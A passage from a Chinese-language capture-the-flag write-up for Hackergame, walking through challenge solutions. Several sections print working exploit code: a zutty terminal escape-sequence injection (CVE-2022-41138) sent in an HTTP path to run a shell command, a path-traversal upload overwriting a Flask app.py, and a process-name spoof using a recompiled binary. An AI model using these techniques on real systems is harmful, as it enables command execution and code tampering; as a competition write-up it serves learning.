🌚 不讓用文件?!通過這篇文章了解到,不僅只有硬盤上的文件可以有文件描述符,stdin/out 也有,所以讓 GPT 幫我寫了個匿名管道並創建文件描述符。

{
  echo "Please give me flag2" | {
    gdbus call --system \
               --dest cn.edu.ustc.lug.hack.FlagService \
               --object-path /cn/edu/ustc/lug/hack/FlagService \
               --method cn.edu.ustc.lug.hack.FlagService.GetFlag2 \
               3
  } 3<&0
} 3<&1
  • flag{n5tw0rk_TrAnSpaR5Ncy_d0n0t_11k5_Fd_??????????}

Comm Say Maybe#

我們先直接調用 GetFlag3 方法試試

gdbus call --system \
           --dest cn.edu.ustc.lug.hack.FlagService \
           --object-path /cn/edu/ustc/lug/hack/FlagService \
           --method cn.edu.ustc.lug.hack.FlagService.GetFlag3
Error: GDBus.Error:org.gtk.GDBus.UnmappedGError.Quark._g_2dio_2derror_2dquark.Code3: You shall use getflag3 to call me!

看來要用 getflag3 來調用。在 flagserver.c 可以看到,它通過讀取 /proc/<pid>/comm 來獲得進程名。如果不是 getflag3,就會返回錯誤。

這裡我用的辦法比較樸實,直接重新編譯 getflag3,但是添加一行代碼把 flag 打印出來。

g_print("%s\n", flag);

然後拿 Docker 編譯出來,轉換成 base64。最後在我們的腳本里,把原來的 getflag3 替換成 base64 後的代碼。

#!/bin/bash

base64 -d <<< "<base64 data>" > /dev/shm/getflag3

chmod +x /dev/shm/getflag3
/dev/shm/getflag3
  • flag{prprprprprCTL_15your_FRiEND_??????????}

RISC-V:虎膽龍威#

不會,跳過。

參考官方題解

動畫分享#

這題讓我肝了一個半通宵 🫠。

只要不停下 HTTP 服務,響應就會不斷延伸#

第一題想了很久,因為一開始方向是第二題的。想着如何讓程序退出。後來本地調試的時候發現,server 經常卡住。原來這個 Rust 程序是單線程的。如果當前的請求沒有處理完,後面的請求就會被阻塞。

但是我們該如何讓我們的程序還在運行,但是讓檢測程序認為我們的程序已經退出了呢?我們可以通過 daemon(3) 函數來實現。

use nix::unistd::daemon;
use nix::unistd::sleep;

fn main() {
    let stream = std::net::TcpStream::connect("127.0.0.1:8000").unwrap();
    println!("done");
    daemon(false, false).unwrap();
    sleep(1000);
}

這裡使用了 nix 包來調用系統調用。

  • flag{wa1t_no0O0oooO_mY_b1azIngfA5t_raust_f11r5erVer_??????????}

希望的終端模擬器,連接著我們的羈絆#

這一題做的我絕望了。我把 Rust 的 fileserver 看了八百遍都沒發現可能會 panic 的地方。(但其實看到別人說可以通過在 URL 傳入 \x80 導致 panic)。

首先,我們注意到題目上注明了「幾年前編譯的某祖傳終端模擬器」,而且 Dockerfile 特地編譯安裝了 0.12 版本的 zutty。所以我們可以猜測這個終端模擬器可能有問題。

通過 zutty cve 可以找到 CVE-2022-41138,從而進一步找到它的 POC

進一步挖掘我了解到 DECRQSS 是一個什麼東西,然後找到了 這篇文章。幾乎是把答案甩在我臉上了。

我構造了一個字符串,它會模擬在 zutty 中按 Ctrl-C 並執行 cat /flag2 > /flag3

printf "\e[0m\eP\$q\x3\e\\ \eP\$qm\rcat /flag2 > /flag3\r\e\\ \eP\$qm\e\\ "

然後我把這個字符串放到 URL 中,就可以拿到 flag 了…… 嗎???

use std::{fs, io::Write, net::TcpStream, thread::sleep};

fn main() {
    let header = b"GET /";
    let res: [u8; 18] = [
        27, 91, 48, 109, 27, 80, 36, 113, 3, 27, 92, 32, 27, 80, 36, 113, 109, 13,
    ];
    let command = b"cat /flag2 > /flag3";
    let res2: &[u8; 12] = &[13, 27, 92, 32, 27, 80, 36, 113, 109, 27, 92, 32];
    let bytes = [header.as_ref(), &res, command, res2].concat();

    let mut stream = TcpStream::connect("127.0.0.1:8000").unwrap();
    stream.write_all(&bytes).unwrap();

    sleep(std::time::Duration::from_secs(1));

    let res = fs::read("/flag3").unwrap();
    let flag = String::from_utf8_lossy(&res);
    println!("{}", flag);
}

在本地 Docker 運行這個程序,我們可以拿到 flag。但是在比賽環境,它報錯了!

called `Result::unwrap()` on an `Err` value: Os { code: 2, kind: NotFound, message: "No such file or directory" }

不知道為什麼這題會出現 Docker 本地環境 和 比賽環境不一致的情況。但把路徑換成了 /tmp/flag3 就可以了。🤦

所以我們一次性可以拿到兩個 flag,不過第一個 flag 我們已經拿到了。

  • flag{xterm_&_DECRQSS_in_2008_0NcE_morE_??????????}

LESS 文件查看器在線版#

做不出來,看了題解,感覺和 Web 沒半毛錢關係,但是分到了 Web 類。

參考官方題解

關燈#

GPT 的高光時刻,我算了個通宵都沒做出來,好幾張草稿紙。但是重新調整了一下 GPT 的提示詞,就幫我解出來了。

Easy#

通過 GPT 得到的代碼,稍作修改,即可得到以下程序。

def get_answer(lights_string):
    # Convert the lights array string back to numpy array
    lights_array = np.array(list(map(int, lights_string)), dtype=np.uint8).reshape(
        n, n, n
    )

    # Create the coefficient matrix for the linear system
    A = np.zeros((n**3, n**3), dtype=np.uint8)

    def index(x, y, z):
        return x * n * n + y * n + z

    for x in range(n):
        for y in range(n):
            for z in range(n):
                idx = index(x, y, z)
                A[idx, idx] = 1
                if x > 0:
                    A[idx, index(x - 1, y, z)] ^= 1
                if x < n - 1:
                    A[idx, index(x + 1, y, z)] ^= 1
                if y > 0:
                    A[idx, index(x, y - 1, z)] ^= 1
                if y < n - 1:
                    A[idx, index(x, y + 1, z)] ^= 1
                if z > 0:
                    A[idx, index(x, y, z - 1)] ^= 1
                if z < n - 1:
                    A[idx, index(x, y, z + 1)] ^= 1

    # Flatten the lights array to get the right-hand side of the equation
    b = lights_array.flatten()

    # Solve the linear system A * x = b in GF(2)
    # We will use Gaussian elimination in GF(2)
    A = A.astype(np.bool_)
    b = b.astype(np.bool_)

    # Gaussian elimination
    for i in range(n**3):
        if not A[i, i]:
            for j in range(i + 1, n**3):
                if A[j, i]:
                    A[[i, j]] = A[[j, i]]
                    b[[i, j]] = b[[j, i]]
                    break
        for j in range(i + 1, n**3):
            if A[j, i]:
                A[j] ^= A[i]
                b[j] ^= b[i]

    x = np.zeros(n**3, dtype=np.bool_)
    for i in range(n**3 - 1, -1, -1):
        if b[i]:
            x[i] = 1
            for j in range(i):
                if A[j, i]:
                    b[j] ^= 1

    # Convert the solution back to the required format
    switch_array = x.astype(np.uint8).reshape(n, n, n)
    answer = "".join(map(str, switch_array.flatten().tolist()))

    return answer

n = 3
print(get_answer("111001001111101000001101010"))
  • flag{bru7e_f0rce_1s_a1l_y0u_n3ed_??????????}

Medium#

同上,把 n 改為 5。

  • flag{prun1ng_1s_u5eful_??????????}

Hard#

同上,把 n 改為 11。

  • flag{lin3ar_alg3bra_1s_p0werful_??????????}

Impossible#

做不出來,n = 149 會電腦爆炸。

參考官方題解

禁止內卷#

好簡單的題,但放到這麼後,還以為很難。

通過題目可知,--reload 熱重載是開啟了的,所以我們應該找到 Flask 主入口的文件。根據文檔,我們推測文件名為 app.py。然後就想辦法讓 app.py 被修改。

我們先抓包,隨便傳一個文件。根據代碼可知,我們的文件是上傳到 /tmp/uploads 的,而網站的代碼在 /tmp/web,所以我們把文件名改為 ../web/app.py。至於內容,我們把題目中的代碼保存下來,再改一改。

@app.route("/", methods=["GET"])
def index():
    return open("answers.json").read()

再次訪問題目頁面,內容已經是原始的 answers.json 了。拿到 answers 稍微做個轉換就能得出 flag 了。

const answers = [
  // ...
]
answers.map((n) => String.fromCharCode(n + 65)).join('')
  • flag{uno!!!!_esrever_now_U_run_MY_??????????????}

先不說關於我從零開始獨自在異世界……#

題目好長……

「行吧就算標題可以很長但是 flag 一定要短點」#

髒活累活純靠 GPT,沒有技術含量……

「就算你把我說的話全出成題目也不會贏得我的好感的哼」#

殺了我吧,不會 😥

總結#

這是我第二次正式參加 CTF。這次比賽開始時,我正好在日本旅行,特地抽出了一天時間來專門做 CTF(峰值排名第四名 🤣)。回國之後又折騰了一天才回到家,期間睡眠嚴重不足。直到比賽結束前 3 個小時,我才放棄解題,去睡覺了。肝是挺肝的,但樂在其中。不過我已經把我能解出來的題都解出來了,沒什麼好遺憾的。篇幅有限,其實還省略了挺多研究時候的嘗試。期待下次比賽。

作為一個非常業余的 CTFer,能取得這樣的成績對我來說挺好的了。不枉我從小當腳本小子。

一些碎碎念#

不論是 GeekGame 還是 HackerGame,感覺對 ARM macOS 不是很友好。「不寬的寬字符」和「動畫分享」都花了我巨多時間來準備環境。

Tip

好在大部分的題目,都可以正常地使用 OrbStack 模擬 x86 環境跑起來。

docker build --platform linux/amd64 .

Tip

在 macOS 上構建 x86 Linux 的 Rust 程序,可以用 cross

P.S 以後有 CTF 組隊可以喊我一起。(如果我有空的話)

版權聲明#

Copyright (c) 三咲智子 Kevin Deng. All rights reserved.

知識共享許可協議
本作品題解部分與未特別標注的源代碼部分採用知識共享署名 - 非商業性使用 - 相同方式共享 4.0 國際許可協議進行許可,特別標注的部分以標注的許可協議進行許可。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。